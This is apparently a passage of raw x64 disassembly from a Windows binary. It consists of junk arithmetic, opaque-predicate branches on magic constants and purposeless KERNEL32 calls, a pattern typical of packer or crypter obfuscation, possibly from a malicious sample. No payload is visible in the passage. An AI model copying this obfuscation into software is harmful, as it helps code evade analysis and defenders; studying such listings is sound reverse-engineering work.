mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
movsx eax, word [rsp + 0x934]
movsx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [0x140126018]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0xf1], al
mov eax, dword [rsp + 0x2474]
mov ecx, dword [rsp + 0x2460]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov eax, dword [rsp + 0x2374]
add eax, 0xae
mov dword [rsp + 0x2374], eax
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x43b0], rax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x4338]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x2414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
xor eax, ecx
mov word [rsp + 0x734], ax
movsx eax, byte [0x140125005]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf1], al
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movzx eax, byte [0x140125004]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x4348]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x43b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2414]
mov ecx, dword [rsp + 0x23cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
sub eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x734]
movsx ecx, word [rsp + 0x944]
add eax, ecx
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4280]
mov qword [rsp + 0x4410], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4410]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4298], rax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
mov qword [rsp + 0x4418], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4418]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23cc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
movzx eax, word [rsp + 0x940]
movzx ecx, word [0x140126014]
and eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4308]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x43b0], rax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov rax, qword [rsp + 0x43e8]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x4298]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov word [rsp + 0x930], ax
movsx eax, byte [0x140125005]
movsx ecx, byte [rsp + 0xf0]
xor eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x944]
mov rcx, qword [rsp + 0x4400]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x43e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
shl eax, cl
mov byte [rsp + 0xed], al
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0x938]
and eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xef]
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov rax, qword [rsp + 0x4328]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x43b0], rax
cmp dword [rsp + 0x2374], 0xa278
jb 0x140007d53
mov rax, qword [rsp + 0x43e8]
mov rcx, qword [rsp + 0x4208]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x20ec], eax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov dword [rsp + 0x2488], eax
cmp dword [rsp + 0x2488], 0
je 0x1400083b4
cmp dword [rsp + 0x2488], 0x24ea
je 0x1401097c2
jmp 0x14010981e
mov rax, qword [rsp + 0x4298]
mov qword [rsp + 0x4420], rax
movabs rax, 0x3f4e8dcb0db51f09
cmp qword [rsp + 0x4420], rax
je 0x1400084c0
movabs rax, 0x6b0aa1d543e0dc09
cmp qword [rsp + 0x4420], rax
je 0x1400083f5
jmp 0x1400085ea
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x43a0]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jg 0x14000843e
mov rax, qword [rsp + 0x4328]
mov edx, dword [rax]
movzx ecx, byte [rsp + 0xed]
call fcn.14010a6a0
nop
mov edx, 0x1f
mov rcx, qword [rsp + 0x4220]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [rsp + 0x245c], eax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x41f0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x43b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [0x140126018]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x4338]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0xed]
call fcn.14010bf30
nop
jmp 0x1400085ea
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0xed]
mov rdx, qword [rsp + 0x43a8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jle 0x1400085ea
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
mov qword [rsp + 0x4428], rax
movabs rax, 0xfef9a31985ed07e
cmp qword [rsp + 0x4428], rax
je 0x14000853d
jmp 0x1400085cf
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xef]
add eax, ecx
mov byte [rsp + 0xee], al
mov r8d, 0x1f
lea rdx, [rsp + 0x19ae0]
lea rcx, str.InitiateunavailinglyLozenges
call qword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [rsp + 0x23d4], eax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4430]
call qword [sym.imp.KERNEL32.dll_SetConsoleActiveScreenBuffer]
mov dword [rsp + 0x23a8], eax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
and eax, ecx
mov word [rsp + 0x930], ax
jmp 0x1400085ea
movsx eax, byte [0x140125005]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4338]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x41f0]
shl rax, cl
mov qword [0x140125010], rax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x43b0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4208]
mov qword [rsp + 0x4438], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4438]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2414], eax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov rcx, qword [rsp + 0x43e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xed]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [rsp + 0xef], al
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov rax, qword [rsp + 0x4208]
mov rcx, qword [rsp + 0x43e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x42e0]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2414], eax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x43b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4308], rax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
or eax, ecx
mov word [rsp + 0x734], ax
movsx eax, byte [rsp + 0xf0]
movsx ecx, byte [0x140125005]
xor eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
shl eax, cl
mov byte [rsp + 0xed], al
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov eax, dword [rsp + 0x2414]
mov ecx, dword [rsp + 0x2394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x43b0]
mov rcx, qword [rsp + 0x4308]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rsp + 0x4338]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4400]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xef]
add eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2464]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov dword [rcx], eax
mov eax, dword [0x140126010]
movzx ecx, al
mov eax, dword [rsp + 0x23cc]
sar eax, cl
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4348]
movzx ecx, al
mov rax, qword [rsp + 0x4298]
shl rax, cl
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movzx eax, word [0x140126014]
movzx ecx, word [rsp + 0x93c]
or eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
and eax, ecx
mov byte [rsp + 0xed], al
movsx eax, word [rsp + 0x934]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
add eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov rax, qword [rsp + 0x43e8]
mov ecx, dword [rsp + 0x2474]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [rsp + 0x23d8]
add eax, 0xb4
mov dword [rsp + 0x23d8], eax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2394]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2414], eax
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4338]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x41f0], rax
mov rax, qword [rsp + 0x4400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
mov rcx, qword [0x140126018]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0xf0]
or eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x140126018]
mov byte [rcx], al
mov rax, qword [rsp + 0x4328]
mov rcx, qword [rsp + 0x42e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2414], eax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4348]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4308]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x43b0], rax
cmp dword [rsp + 0x23d8], 0x1887
jbe 0x1400085ea
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x23d0]
add eax, 0xde
mov dword [rsp + 0x23d0], eax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
add eax, ecx
mov word [rsp + 0x934], ax
movsx eax, byte [rsp + 0xf1]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x42e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x4348]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140125010], rax
mov eax, dword [rsp + 0x2474]
movzx ecx, al
mov eax, dword [rsp + 0x2464]
shl eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4308], rax
movzx eax, byte [0x140125004]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x43e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x938], ax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x934]
add eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf0], al
mov eax, dword [rsp + 0x2414]
mov ecx, dword [rsp + 0x23cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [section..data], eax
cmp dword [rsp + 0x23d0], 0x99e1
jbe 0x140008c12
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov dword [rsp + 0x248c], eax
cmp dword [rsp + 0x248c], 0x1d8f
je 0x140008e13
jmp 0x140008f03
lea rax, [rsp + 0x4308]
mov qword [rsp + 0x20], rax
mov r9d, 0x7a
mov r8d, 0x88
mov edx, 0xb5
mov rcx, qword [rsp + 0x4440]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x23a0], eax
movzx eax, word [0x140125008]
movzx ecx, word [rsp + 0x940]
add eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov dword [rsp + 0x2490], eax
cmp dword [rsp + 0x2490], 0xdb084c69
je 0x140008e82
jmp 0x140008edb
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4338]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4330]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x4308]
mov rax, qword [rsp + 0x42c8]
mov rcx, qword [rax]
call fcn.14010ba60
nop
jmp 0x140008efe
mov r8d, 0xdc
lea rdx, [rsp + 0x19ae0]
mov rcx, qword [rsp + 0x4430]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov dword [rsp + 0x2434], eax
jmp 0x140109746
mov rax, qword [0x140126018]
movzx eax, byte [rax]
mov byte [rsp + 0x2494], al
cmp byte [rsp + 0x2494], 0x2a
je 0x140009050
cmp byte [rsp + 0x2494], 0xe7
je 0x140008f31
jmp 0x1400090fc
movzx eax, byte [rsp + 0xed]
mov byte [rsp + 0x2498], al
cmp byte [rsp + 0x2498], 0x5b
je 0x140008f4f
jmp 0x140009013
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
mov dword [rsp + 0x249c], ecx
mov rdx, qword [rsp + 0x43a0]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x249c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140009011
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [0x140125004]
xor eax, ecx
mov byte [rsp + 0xef], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
or eax, ecx
mov rcx, qword [rsp + 0x4400]
mov word [rcx], ax
movzx r8d, byte [0x140125004]
mov rdx, qword [rsp + 0x4298]
mov rax, qword [rsp + 0x42f8]
movzx ecx, byte [rax]
call fcn.14010bf30
nop
jmp 0x14000904b
lea rax, [rsp + 0x4208]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4360]
mov r8d, 0x11
lea rdx, [rsp + 0x2380]
mov rcx, qword [rsp + 0x4448]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov dword [rsp + 0x23a0], eax
jmp 0x1400090fc
mov rax, qword [rsp + 0x41f0]
mov qword [rsp + 0x4450], rax
movabs rax, 0x6a0b237b83a76ec9
cmp qword [rsp + 0x4450], rax
je 0x140009076
jmp 0x1400090d8
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140125005], al
mov rax, qword [rsp + 0x43a8]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x4348]
mov rax, qword [rsp + 0x43a8]
movzx ecx, byte [rax]
call fcn.14010bf30
nop
jmp 0x1400090fc
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf0]
sub eax, ecx
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4260]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14010971b
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
mov qword [rsp + 0x4458], rax
movabs rax, 0x2ae5d90afb47263c
cmp qword [rsp + 0x4458], rax
je 0x140009198
movabs rax, 0x3c756f4fb6f2f290
cmp qword [rsp + 0x4458], rax
je 0x140009171
jmp 0x1400092f3
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
jmp 0x1400092f3
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x4248]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x41f0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14000928f
mov rax, qword [rsp + 0x4330]
mov rax, qword [rax]
mov qword [rsp + 0x4460], rax
movabs rax, 0xfe5a108a1ed8ed2e
cmp qword [rsp + 0x4460], rax
je 0x1400091fc
jmp 0x140009262
lea r8, [rsp + 0xed]
lea rdx, [rsp + 0x19988]
mov rcx, qword [rsp + 0x4440]
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov dword [rsp + 0x2470], eax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
